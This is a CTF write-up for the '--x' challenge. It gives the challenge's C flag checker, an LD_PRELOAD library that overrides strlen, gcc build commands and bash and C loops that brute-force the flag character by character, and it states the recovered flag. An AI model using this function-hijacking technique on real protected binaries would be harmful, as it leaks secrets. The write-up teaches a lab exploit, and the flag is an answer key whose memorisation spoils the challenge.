# [--x](https://play.camp.allesctf.net/tasks/dash-dash-execute)
Category: Misc
Difficulty: Easy
Author: Flo
First Blood: sf
Did you know that you can mark executables as non-readable? Check out /usr/bin/flagcheck for an example.
Challenge Files:flagcheck.c
## first inspection
the content of the `flagcheck.c` is following:
```c
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <sys/param.h>
#ifndef FLAG
#define FLAG "ALLES!{testflag}"
#endif
bool test_flag(char *inp)
{
bool res = true;
int n = MIN(strlen(FLAG), strlen(inp));
for (int i = 0; i <= n; i++)
res &= FLAG[i] == inp[i];
return res;
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("usage: flagcheck FLAG\n");
return 1;
}
if (test_flag(argv[1]))
printf("correct!\n");
else
printf("wrong :(\n");
}
```
As it seems, `test_flag` is safe to use. But we might preload and therefore overwrite `strlen`, to just print the provided strings:
```c
#include <stdio.h>
size_t strlen(const char *s) {
puts(s);
return 0;
}
```
Sounds good, doesnt work: https://stackoverflow.com/questions/3437404/min-and-max-in-c
Compile it with:
```bash
gcc -shared -fPIC -o preloadme.so preloadme.c
```
When preloading the shared object, we get both:
```
$ LD_PRELOAD=./preloadme.so ./a.out A
A
A
correct!3
```

But there were multiple issues. The `strlen(FLAG` call seems to be inlined. It does not print the flag, but only `argv[1]`.
In the end we could "set" the length for the string comparison:
```c
#include <stdio.h>
#include <stdlib.h>
size_t strlen(const char *s) {
//for (int i = -10000; i < 0; i++) {
// printf("%08x", *(s + i));
//}
//exit(30);
//sleep(1000);
const char* len = getenv("LEN");
return atoi(len);
}
```
calling it this way:
```bash
LEN=6 LD_PRELOAD=./preloadme.so ./a.out 'ALLES!{'
```
This way, we can write a bash function:
```bash
function next_correct_char() {
prefix=$1
length=$(echo -n $prefix | wc -c)
for i in {32..127}; do
LEN=$length LD_PRELOAD=./preloadme.so flagcheck $(printf "$prefix\x$(printf %x $i)") | grep correct;
[ $? -eq 0 ] && {
echo $(printf "\x$(printf %x $i)")
return 0;
}
done
return 1
}
prefix=ALLES
while true; do
next_char=$(next_correct_char "$prefix")
[ $? -eq 1 ] && break
prefix="${prefix}${next_char}"
echo $prefix
done
```
But this didnt work, so we used `next_correct_char` by hand:

`ALLES!{surprisingly_similar_to_setuid_processes_but_not_actually_secure}`
After scoring, we fixed the code:
```bash
function next_correct_char() {
prefix=$1
length=$(echo -n $prefix | wc -c)
for i in {32..127}; do
LEN=$length LD_PRELOAD=./preloadme.so ./flagcheck $(printf "$prefix\x$(printf %x $i)") | grep correct >/dev/null;
[ $? -eq 0 ] && {
echo $(printf "\x$(printf %x $i)")
return 0;
}
done
return 1
}
prefix=ALLES
while true; do
next_char=$(next_correct_char "$prefix")
[ $? -eq 1 ] && break
prefix="${prefix}${next_char}"
echo $prefix
done
```
A solution from sweetshark, implemented in C:
```c
#include <stdio.h>
#include <string.h>
int test(const char* testtxt, size_t len)
{
const char* secret = "ALLES!{foobarbaz";
return strncmp(testtxt, secret, len) == 0;
}
int find_char(const char* pBuf, char* pCurrent)
{
*pCurrent=0;
if(test(pBuf, pCurrent-pBuf+1))
return 1; // finished
for(char c=32;c<128;++c)
{
*pCurrent=c;
if(test(pBuf, pCurrent-pBuf+1))
return 0;
}
}
int main(int argc, char**)
{
char buf[10000];
char* pBuf = &buf[0];
char* pCurrent = pBuf;
while(!find_char(pBuf, pCurrent))
++pCurrent;
printf("%s\n", pBuf);
}
````